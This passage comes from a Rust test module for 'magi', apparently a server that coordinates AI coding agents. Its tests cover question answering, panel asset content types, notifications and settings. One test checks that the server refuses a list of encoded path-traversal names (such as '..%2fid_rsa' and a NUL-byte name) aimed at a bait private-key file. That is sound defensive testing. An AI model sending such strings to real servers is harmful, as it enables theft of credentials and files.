7915        for name in ["notes.html", "hook.js", "data.json"] {
7916            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7917            assert_eq!(res.status, 200, "{name}: {}", res.body);
7918            // Serving this as text/html would be a way to reach agent markup
7919            // at the top level of the operator's browser, outside the frame's
7920            // sandbox and outside its CSP - which is the whole thing the panel
7921            // design exists to prevent. Unlisted types are downloads.
7922            assert_eq!(
7923                res.header("content-type"),
7924                Some("application/octet-stream"),
7925                "{name} must not be a type the browser will execute or render"
7926            );
7927        }
7928        // The whitelist is matched case-insensitively, so an agent shouting the
7929        // extension still gets a readable file rather than a download.
7930        let txt = fx
7931            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7932            .await;
7933        assert_eq!(
7934            txt.header("content-type"),
7935            Some("text/plain; charset=utf-8")
7936        );
7937    }
7938
7939    #[tokio::test]
7940    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7941        let fx = Fixture::start().await;
7942        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7943        // Something outside the panel directory that a traversal would reach if
7944        // one got through, so a passing test is not merely "the file was
7945        // missing anyway".
7946        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7947
7948        // Decoded before this server's handler sees them: axum percent-decodes
7949        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7950        // string with a NUL in it. All three look like ordinary single-segment
7951        // filenames to the router, so the router passes them through and
7952        // `valid_asset_name` is what refuses them - for the literal `..`, and
7953        // for `/`, `\` and NUL not being in the permitted character set.
7954        for encoded in [
7955            "%2e%2e%2fid_rsa",
7956            "..%2fid_rsa",
7957            "..%5cid_rsa",
7958            "%2e%2e%5cid_rsa",
7959            "diff%00.svg",
7960            "..",
7961            ".hidden",
7962            "%2e%2e%2f%2e%2e%2fid_rsa",
7963        ] {
7964            let res = fx
7965                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7966                .await;
7967            assert_eq!(
7968                res.status, 400,
7969                "`{encoded}` has to be refused by name, not looked up: {}",
7970                res.body
7971            );
7972            assert!(res.json()["error"].is_string(), "{}", res.body);
7973        }
7974
7975        // Not decoded, and never this handler's problem: a real slash makes the
7976        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7977        // so axum's router has no route to match and answers before any code
7978        // here runs. Asserted so that a future route with a wildcard segment
7979        // cannot quietly open this door.
7980        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7981            let res = fx
7982                .get(&format!("/api/questions/{id}/asset/{literal}"))
7983                .await;
7984            assert_eq!(
7985                res.status, 404,
7986                "`{literal}` must not match the asset route at all: {}",
7987                res.body
7988            );
7989        }
7990    }
7991
7992    #[tokio::test]
7993    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7994        let fx = Fixture::start().await;
7995        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7996        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7997
7998        // A question nobody wrote a panel for. The client preflights with HEAD
7999        // and cannot see inside a sandboxed frame, so this must be a status and
8000        // not an empty page.
8001        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8002        assert_eq!(none.status, 404, "{}", none.body);
8003        assert!(none.json()["error"].is_string(), "{}", none.body);
8004        assert_eq!(
8005            fx.head(&format!("/api/questions/{plain}/panel"))
8006                .await
8007                .status,
8008            404,
8009            "the preflight is the only way the client can learn this"
8010        );
8011
8012        // A name that is perfectly legal and simply is not there.
8013        let missing = fx
8014            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8015            .await;
8016        assert_eq!(missing.status, 404, "{}", missing.body);
8017        assert!(missing.json()["error"].is_string(), "{}", missing.body);
8018
8019        // A question that does not exist at all, on both routes.
8020        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8021        assert_eq!(
8022            fx.get("/api/questions/nope/asset/diff.svg").await.status,
8023            404
8024        );
8025    }
8026
8027    #[tokio::test]
8028    async fn a_run_with_an_open_question_reads_as_waiting() {
8029        let fx = Fixture::start().await;
8030        let run = "20260902-000000-beef".to_owned();
8031        write_run(&fx.runs(), &run, RunStatus::Implementing);
8032
8033        let before = fx.get("/api/runs").await.json();
8034        assert_eq!(before[0]["waiting"], false, "{before}");
8035
8036        let store = fx.questions();
8037        let mut q = Question::new(
8038            run.clone(),
8039            "implement".to_owned(),
8040            "impl-A".to_owned(),
8041            "Which backend?".to_owned(),
8042            String::new(),
8043            vec!["SQLite".to_owned()],
8044        );
8045        store.put(&mut q).expect("put");
8046
8047        let during = fx.get("/api/runs").await.json();
8048        assert_eq!(during[0]["waiting"], true, "{during}");
8049
8050        // Answered: the run is moving again, and the flag has to follow without
8051        // anything having rewritten run.json.
8052        q.answer(Answer::Choice("SQLite".to_owned()))
8053            .expect("answer");
8054        store.put(&mut q).expect("put");
8055        let after = fx.get("/api/runs").await.json();
8056        assert_eq!(after[0]["waiting"], false, "{after}");
8057    }
8058
8059    #[tokio::test]
8060    async fn an_open_question_is_listed_and_counted_by_health() {
8061        let fx = Fixture::start().await;
8062        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8063
8064        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065        let listed = fx.get("/api/questions").await.json();
8066        assert_eq!(listed.as_array().expect("array").len(), 1);
8067        assert_eq!(listed[0]["id"], id);
8068        assert_eq!(listed[0]["status"], "open");
8069        assert_eq!(listed[0]["choices"][1], "Redis");
8070        // The count is what makes the phone's indicator honest: it is the one
8071        // number meaning nothing will move until a human acts.
8072        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8073    }
8074
8075    #[tokio::test]
8076    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8077        let fx = Fixture::start().await;
8078        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8079        let path = format!("/api/questions/{id}/answer");
8080
8081        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8082        assert_eq!(res.status, 200, "{}", res.body);
8083        let body = res.json();
8084        assert_eq!(body["status"], "answered");
8085        assert_eq!(body["answer"]["choice"], "Redis");
8086
8087        // Answered from the terminal in between the list and the tap: the UI
8088        // must be able to tell this from a bad request, so it can show the
8089        // recorded answer instead of an error.
8090        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8091        assert_eq!(again.status, 409, "{}", again.body);
8092        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8093    }
8094
8095    #[tokio::test]
8096    async fn saying_something_appends_a_turn_without_answering() {
8097        let fx = Fixture::start().await;
8098        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8099        let path = format!("/api/questions/{id}/say");
8100
8101        let res = fx
8102            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8103            .await;
8104        assert_eq!(res.status, 200, "{}", res.body);
8105        let body = res.json();
8106        assert_eq!(body["status"], "open", "talking back is not a decision");
8107        assert_eq!(body["answer"], Value::Null);
8108        assert_eq!(body["thread"][0]["who"], "operator");
8109        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8110        assert_eq!(body["waiting_on_agent"], true);
8111        // Still open, still counted, still exactly one question.
8112        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8113    }
8114
8115    #[tokio::test]
8116    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8117        let fx = Fixture::start().await;
8118        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8119
8120        let list = fx.get("/api/questions").await.json();
8121        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8122
8123        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8124        assert_eq!(res.status, 409, "{}", res.body);
8125        let q = fx.questions().get(&id).unwrap();
8126        assert!(q.status.open());
8127        assert!(q.consult.is_none());
8128    }
8129
8130    #[tokio::test]
8131    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8132        let fx = Fixture::start().await;
8133        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8134        let cfg = Config {
8135            agents: vec![crate::config::AgentSpec {
8136                id: "mock".to_owned(),
8137                kind: crate::config::AgentKind::Command,
8138                model: None,
8139                command: vec!["true".to_owned()],
8140                extra_args: Vec::new(),
8141                env: Default::default(),
8142                prompt_delivery: None,
8143            }],
8144            ..Config::default()
8145        };
8146        let talk = crate::talk::begin(
8147            &fx.talks(),
8148            &cfg,
8149            fx.home.path().to_path_buf(),
8150            Some("mock"),
8151        )
8152        .unwrap();
8153        let mut task = Task::new(
8154            "t".to_owned(),
8155            "Do it".to_owned(),
8156            PathBuf::from("/repo/magi"),
8157            Source::Agent {
8158                run: talk.id.clone(),
8159                node: crate::queue::CHAT_NODE.to_owned(),
8160            },
8161        );
8162        task.start("20260902-000000-beef".to_owned());
8163        fx.queue().put(&mut task).unwrap();
8164
8165        let list = fx.get("/api/questions").await.json();
8166        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8167        assert_eq!(
8168            list[0]["choices"],
8169            serde_json::json!(["SQLite", "Redis"]),
8170            "the hand-over is never a choice"
8171        );
8172        fx.questions()
8173            .update(&id, |q| {
8174                q.node = crate::land::APPROVAL_NODE.into();
8175                q.choices = vec!["merge".into(), "hold".into()];
8176                Ok(())
8177            })
8178            .unwrap();
8179        let list = fx.get("/api/questions").await.json();
8180        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8181        let _ = id;
8182    }
8183
8184    #[tokio::test]
8185    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8186        let fx = Fixture::start().await;
8187        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8188        fx.questions()
8189            .update(&id, |q| {
8190                q.node = crate::land::APPROVAL_NODE.into();
8191                q.choices = vec!["merge".into(), "hold".into()];
8192                Ok(())
8193            })
8194            .unwrap();
8195        let cfg = Config {
8196            agents: vec![crate::config::AgentSpec {
8197                id: "mock".to_owned(),
8198                kind: crate::config::AgentKind::Command,
8199                model: None,
8200                command: vec!["true".to_owned()],
8201                extra_args: Vec::new(),
8202                env: Default::default(),
8203                prompt_delivery: None,
8204            }],
8205            ..Config::default()
8206        };
8207        // Not a git working tree, so its `magi.toml` is read from disk.
8208        let repo = fx.home.path().join("chat-repo");
8209        std::fs::create_dir_all(&repo).unwrap();
8210        let toml = repo.join("magi.toml");
8211        std::fs::write(&toml, "this is = = not toml").unwrap();
8212        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8213        let mut task = Task::new(
8214            "t".to_owned(),
8215            "Do it".to_owned(),
8216            PathBuf::from("/repo/magi"),
8217            Source::Agent {
8218                run: talk.id.clone(),
8219                node: crate::queue::CHAT_NODE.to_owned(),
8220            },
8221        );
8222        task.start("20260902-000000-beef".to_owned());
8223        fx.queue().put(&mut task).unwrap();
8224
8225        let path = format!("/api/questions/{id}/consult");
8226        let res = fx.post(&path, None).await;
8227        assert!(res.status >= 400, "{}", res.body);
8228        assert!(fx.questions().get(&id).unwrap().consult.is_none());
8229        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8230
8231        std::fs::write(&toml, "").unwrap();
8232        let res = fx.post(&path, None).await;
8233        assert_eq!(res.status, 202, "{}", res.body);
8234        assert!(fx.questions().get(&id).unwrap().consult.is_some());
8235        let q = fx.questions().get(&id).unwrap();
8236        assert!(q.status.open());
8237        assert!(q.answer.is_none());
8238        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8239    }
8240
8241    #[tokio::test]
8242    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8243        let fx = Fixture::start().await;
8244        let store = fx.questions();
8245        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8246        assert_eq!(
8247            fx.get("/api/health").await.json()["questions_needs_owner"],
8248            1
8249        );
8250
8251        // The owner asks back instead of deciding: the ask bar, the nav badge
8252        // and the title must stop naming this question, because there is
8253        // nothing to decide until the agent answers - `status` alone cannot
8254        // say that, which is the whole reason `questions_needs_owner` exists
8255        // alongside `questions_open`.
8256        let res = fx
8257            .post(
8258                &format!("/api/questions/{id}/say"),
8259                Some(r#"{"body":"why not Postgres?"}"#),
8260            )
8261            .await;
8262        assert_eq!(res.status, 200, "{}", res.body);
8263        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8264        assert_eq!(
8265            fx.get("/api/health").await.json()["questions_needs_owner"],
8266            0,
8267            "waiting on the agent is not waiting on the owner"
8268        );
8269
8270        // `magi ask --thread` replying is what brings the owner count back -
8271        // the same event that would resume the CLI call blocked in `magi
8272        // ask`.
8273        let mut q = store.get(&id).expect("get");
8274        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8275            .expect("reply");
8276        store.put(&mut q).expect("put");
8277        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8278        assert_eq!(
8279            fx.get("/api/health").await.json()["questions_needs_owner"],
8280            1,
8281            "the agent's reply is what should light the banner back up"
8282        );
8283    }
8284
8285    #[tokio::test]
8286    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8287        let fx = Fixture::start().await;
8288        let store = fx.questions();
8289
8290        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8291        let res = fx
8292            .post(
8293                &format!("/api/questions/{empty_id}/say"),
8294                Some(r#"{"body":"   "}"#),
8295            )
8296            .await;
8297        assert_eq!(res.status, 400, "{}", res.body);
8298
8299        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8300        let mut answered = store.get(&answered_id).expect("get");
8301        answered
8302            .answer(Answer::Choice("SQLite".to_owned()))
8303            .expect("answer");
8304        store.put(&mut answered).expect("put");
8305        let res = fx
8306            .post(
8307                &format!("/api/questions/{answered_id}/say"),
8308                Some(r#"{"body":"still there?"}"#),
8309            )
8310            .await;
8311        assert_eq!(res.status, 409, "{}", res.body);
8312
8313        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8314        let mut abandoned = store.get(&abandoned_id).expect("get");
8315        abandoned.abandon("timed out");
8316        store.put(&mut abandoned).expect("put");
8317        let res = fx
8318            .post(
8319                &format!("/api/questions/{abandoned_id}/say"),
8320                Some(r#"{"body":"still there?"}"#),
8321            )
8322            .await;
8323        assert_eq!(res.status, 409, "{}", res.body);
8324    }
8325
8326    #[tokio::test]
8327    async fn an_answer_the_question_does_not_offer_is_refused() {
8328        let fx = Fixture::start().await;
8329        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8330        let path = format!("/api/questions/{id}/answer");
8331
8332        for body in [
8333            r#"{"choice":"Postgres"}"#,
8334            r#"{"text":"whatever you think"}"#,
8335            r#"{"choice":"Redis","text":"both"}"#,
8336            r#"{}"#,
8337        ] {
8338            let res = fx.post(&path, Some(body)).await;
8339            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8340            assert!(res.json()["error"].is_string(), "{}", res.body);
8341        }
8342        // Nothing above may have answered it.
8343        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8344    }
8345
8346    #[tokio::test]
8347    async fn a_free_text_question_takes_text_and_not_a_choice() {
8348        let fx = Fixture::start().await;
8349        let id = ask(&fx, "What should the flag be called?", &[]);
8350        let path = format!("/api/questions/{id}/answer");
8351
8352        assert_eq!(
8353            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8354            400
8355        );
8356        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8357        assert_eq!(res.status, 200, "{}", res.body);
8358        assert_eq!(res.json()["answer"]["text"], "--json");
8359    }
8360
8361    #[tokio::test]
8362    async fn an_unknown_question_is_a_json_404() {
8363        let fx = Fixture::start().await;
8364        let res = fx
8365            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8366            .await;
8367        assert_eq!(res.status, 404, "{}", res.body);
8368        assert!(res.json()["error"].is_string());
8369    }
8370
8371    #[tokio::test]
8372    async fn notifications_list_read_dismiss_and_health_agree() {
8373        let fx = Fixture::start().await;
8374        let store = Notices::at(fx.home.path().join("notifications"));
8375        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8376        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8377
8378        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8379        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8380
8381        let health = fx.get("/api/health").await.json();
8382        assert_eq!(health["notifications_unread"], 2);
8383        assert_ne!(
8384            health["notifications_rev"], rev0,
8385            "the badge must move live"
8386        );
8387
8388        let listed = fx.get("/api/notifications").await.json();
8389        assert_eq!(listed["unread"], 2);
8390        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8391        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8392
8393        let read = fx
8394            .post(&format!("/api/notifications/{}/read", a.id), None)
8395            .await;
8396        assert_eq!(read.status, 200, "{}", read.body);
8397        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8398
8399        let gone = fx
8400            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8401            .await;
8402        assert_eq!(gone.status, 200, "{}", gone.body);
8403        let listed = fx.get("/api/notifications").await.json();
8404        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8405        assert_eq!(listed["unread"], 0);
8406
8407        store.raise(Notice::info("x", "again")).unwrap();
8408        let all = fx.post("/api/notifications/read-all", None).await;
8409        assert_eq!(all.status, 200, "{}", all.body);
8410        assert_eq!(all.json()["marked"], 1);
8411        assert_eq!(
8412            fx.get("/api/health").await.json()["notifications_unread"],
8413            0
8414        );
8415
8416        let missing = fx.post("/api/notifications/nope/read", None).await;
8417        assert_eq!(missing.status, 404, "{}", missing.body);
8418        assert!(missing.json()["error"].is_string());
8419    }
8420
8421    /// New work reaches the queue through `magi task add`, a standing talk's
8422    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8423    /// so the compose form and that route are gone. The tests that covered
8424    /// that route's validation went with it, and nothing was left asserting
8425    /// it stays gone — so a re-added handler would silently let the phone
8426    /// file briefs no one validated.
8427    #[tokio::test]
8428    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8429        let f = Fixture::start().await;
8430
8431        let res = f
8432            .post(
8433                "/api/queue",
8434                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8435            )
8436            .await;
8437
8438        assert_eq!(
8439            res.status, 405,
8440            "POST /api/queue must not be a route: {}",
8441            res.body
8442        );
8443        assert!(
8444            f.queue().list().is_empty(),
8445            "a task filed by a route that does not exist must not reach the disk"
8446        );
8447        // The path itself is still served — the Queue view reads it — and the
8448        // per-task controls are untouched by the entry being removed.
8449        assert_eq!(f.get("/api/queue").await.status, 200);
8450    }
8451
8452    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8453    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8454        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8455            .expect("checkout dir");
8456    }
8457
8458    /// Two command agents, so a config needs no real CLI.
8459    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8460
8461    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8462        let tmp = TempDir::new().expect("tempdir");
8463        let repo = tmp.path().join("repo");
8464        std::fs::create_dir_all(&repo).expect("repo dir");
8465        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8466        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8467        if let Some(text) = machine_toml {
8468            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8469            std::fs::write(&machine, text).expect("machine toml");
8470        }
8471        (tmp, repo, machine)
8472    }
8473
8474    #[tokio::test]
8475    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8476        let (_tmp, repo, machine) =
8477            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8478        let f = Fixture::with_repo_and_machine(repo, machine).await;
8479        let res = f.get("/api/settings").await;
8480        assert_eq!(res.status, 200, "{}", res.body);
8481        let v = res.json();
8482        assert!(v["error"].is_null(), "{v}");
8483        let role = |k: &str| {
8484            v["roles"]
8485                .as_array()
8486                .and_then(|r| r.iter().find(|x| x["key"] == k))
8487                .cloned()
8488                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8489        };
8490        assert_eq!(role("judges")["source"], "machine");
8491        assert_eq!(role("judges")["editable"], true);
8492        assert_eq!(role("implementers")["source"], "default");
8493        let adv = role("advisors");
8494        assert_eq!(adv["fallback"], "judges");
8495        assert!(
8496            adv["seats"]
8497                .as_array()
8498                .is_some_and(|s| s.iter().all(|x| x == "b")),
8499            "{adv}"
8500        );
8501        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8502        assert_eq!(v["agents"][0]["source"], "repo");
8503    }
8504
8505    #[tokio::test]
8506    async fn settings_get_reports_a_config_that_does_not_parse() {
8507        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8508        let f = Fixture::with_repo_and_machine(repo, machine).await;
8509        let res = f.get("/api/settings").await;
8510        assert_eq!(res.status, 200, "{}", res.body);
8511        let v = res.json();
8512        assert!(v["error"]["message"].is_string(), "{v}");
8513        assert!(
8514            v["error"]["path"]
8515                .as_str()
8516                .is_some_and(|p| p.ends_with("magi.toml")),
8517            "{v}"
8518        );
8519        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8520    }
8521
8522    #[tokio::test]
8523    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8524        let (_tmp, repo, machine) = settings_dirs(
8525            SETTINGS_AGENTS,
8526            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8527        );
8528        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8529        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8530        let rev = f.get("/api/settings").await.json()["revision"]
8531            .as_str()
8532            .expect("revision")
8533            .to_owned();
8534        let body = serde_json::json!({
8535            "revision": rev,
8536            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8537        })
8538        .to_string();
8539        let res = f.put("/api/settings/roles", &body).await;
8540        assert_eq!(res.status, 200, "{}", res.body);
8541        let text = std::fs::read_to_string(&machine).expect("machine");
8542        assert_eq!(
8543            text,
8544            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8545        );
8546        assert_eq!(
8547            std::fs::read(repo.join("magi.toml")).expect("read"),
8548            repo_before
8549        );
8550        let again = f.get("/api/settings").await.json();
8551        let judges = again["roles"]
8552            .as_array()
8553            .expect("roles")
8554            .iter()
8555            .find(|r| r["key"] == "judges")
8556            .expect("judges")
8557            .clone();
8558        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8559        // The old revision is now stale.
8560        let stale = f.put("/api/settings/roles", &body).await;
8561        assert_eq!(stale.status, 409, "{}", stale.body);
8562    }
8563
8564    #[tokio::test]
8565    async fn settings_counts_are_reported_and_saved() {
8566        let (_tmp, repo, machine) = settings_dirs(
8567            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8568            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8569        );
8570        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8571        let v = f.get("/api/settings").await.json();
8572        let count = |v: &serde_json::Value, k: &str| {
8573            v["roles"]
8574                .as_array()
8575                .and_then(|r| r.iter().find(|x| x["key"] == k))
8576                .map(|x| x["count"].clone())
8577                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8578        };
8579        let imp = count(&v, "implementers");
8580        assert_eq!(imp["value"], 2);
8581        assert_eq!(imp["source"], "machine");
8582        assert_eq!(imp["file_key"], "candidates");
8583        assert_eq!(imp["roster_len"], 2);
8584        assert_eq!(imp["backups"], 0);
8585        assert_eq!(count(&v, "judges")["source"], "default");
8586        assert_eq!(count(&v, "advisors")["min"], 0);
8587        assert_eq!(count(&v, "reviewers")["editable"], false);
8588        assert!(
8589            count(&v, "reviewers")["locked_reason"]
8590                .as_str()
8591                .is_some_and(|m| m.contains("graph.reviewers"))
8592        );
8593        assert!(count(&v, "fixer").is_null());
8594        let rev = v["revision"].as_str().expect("revision").to_owned();
8595        let body = serde_json::json!({
8596            "revision": rev,
8597            "roles": { "judges": ["b"] },
8598            "counts": { "implementers": 1, "advisors": 0 }
8599        })
8600        .to_string();
8601        let res = f.put("/api/settings/roles", &body).await;
8602        assert_eq!(res.status, 200, "{}", res.body);
8603        let text = std::fs::read_to_string(&machine).expect("machine");
8604        assert_eq!(
8605            text,
8606            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8607        );
8608        let after = f.get("/api/settings").await.json();
8609        assert_eq!(count(&after, "implementers")["value"], 1);
8610        assert_eq!(count(&after, "implementers")["backups"], 1);
8611        assert_eq!(count(&after, "advisors")["value"], 0);
8612        let before = std::fs::read_to_string(&machine).expect("machine");
8613        let rev = after["revision"].as_str().expect("revision").to_owned();
8614        for counts in [
8615            serde_json::json!({ "judges": 0 }),
8616            serde_json::json!({ "judges": "x" }),
8617            serde_json::json!({ "judges": 2.5 }),
8618            serde_json::json!({ "judges": -1 }),
8619            serde_json::json!({ "reviewers": 3 }),
8620            serde_json::json!({ "bogus": 3 }),
8621        ] {
8622            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8623            let res = f.put("/api/settings/roles", &body).await;
8624            assert_eq!(res.status, 422, "{counts}: {}", res.body);
8625            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8626        }
8627    }
8628
8629    #[tokio::test]
8630    async fn settings_put_refuses_without_touching_the_file() {
8631        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8632        let (_tmp, repo, machine) = settings_dirs(
8633            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8634            Some(machine_text),
8635        );
8636        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8637        let rev = f.get("/api/settings").await.json()["revision"]
8638            .as_str()
8639            .expect("revision")
8640            .to_owned();
8641        for roles in [
8642            serde_json::json!({ "judges": ["nope"] }),
8643            serde_json::json!({ "reviewers": ["b"] }),
8644            serde_json::json!({ "bogus": ["a"] }),
8645        ] {
8646            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8647            let res = f.put("/api/settings/roles", &body).await;
8648            assert_eq!(res.status, 422, "{roles}: {}", res.body);
8649            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8650            assert_eq!(
8651                std::fs::read_to_string(&machine).expect("machine"),
8652                machine_text
8653            );
8654        }
8655    }
8656
8657    #[tokio::test]
8658    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8659        let tmp = TempDir::new().expect("tempdir");
8660        let repo = tmp.path().join("repo");
8661        std::fs::create_dir_all(&repo).expect("repo dir");
8662        let root = tmp.path().join("root");
8663        make_checkout(&root, "github.com", "yukimemi", "magi");
8664        std::fs::write(
8665            repo.join("magi.toml"),
8666            format!(
8667                "[repos]\nroots = [{:?}]\n",
8668                root.to_string_lossy().into_owned()
8669            ),
8670        )
8671        .expect("write magi.toml");
8672
8673        let f = Fixture::with_repo(repo).await;
8674        let res = f.get("/api/repos").await;
8675        assert_eq!(res.status, 200, "{}", res.body);
8676        let list = res.json();
8677        let repos = list.as_array().expect("an array");
8678        assert_eq!(repos.len(), 1);
8679        assert_eq!(repos[0]["name"], "yukimemi/magi");
8680        assert!(
8681            repos[0]["path"]
8682                .as_str()
8683                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8684            "{list}"
8685        );
8686    }
8687
8688    #[tokio::test]
8689    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8690        let tmp = TempDir::new().expect("tempdir");
8691        let repo = tmp.path().join("repo");
8692        std::fs::create_dir_all(&repo).expect("repo dir");
8693        let root = tmp.path().join("root");
8694        make_checkout(&root, "github.com", "yukimemi", "magi");
8695        std::fs::write(
8696            repo.join("magi.toml"),
8697            format!(
8698                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8699                root.to_string_lossy().into_owned()
8700            ),
8701        )
8702        .expect("write magi.toml");
8703
8704        let f = Fixture::with_repo(repo).await;
8705        let first = f.get("/api/repos").await;
8706        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8707
8708        // A second checkout appears; within the TTL the cached answer must
8709        // not notice it.
8710        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8711        let second = f.get("/api/repos").await;
8712        assert_eq!(
8713            second.json().as_array().map(Vec::len),
8714            Some(1),
8715            "a fresh cache must not rescan inside the TTL"
8716        );
8717
8718        let refreshed = f.get("/api/repos?refresh=1").await;
8719        assert_eq!(
8720            refreshed.json().as_array().map(Vec::len),
8721            Some(2),
8722            "an explicit refresh must rescan even inside the TTL"
8723        );
8724    }
8725
8726    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8727    /// string, declared straight in a repository's own `magi.toml` rather
8728    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8729    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8730    /// this is safe to run over a real HTTP round trip.
8731    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8732
8733    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
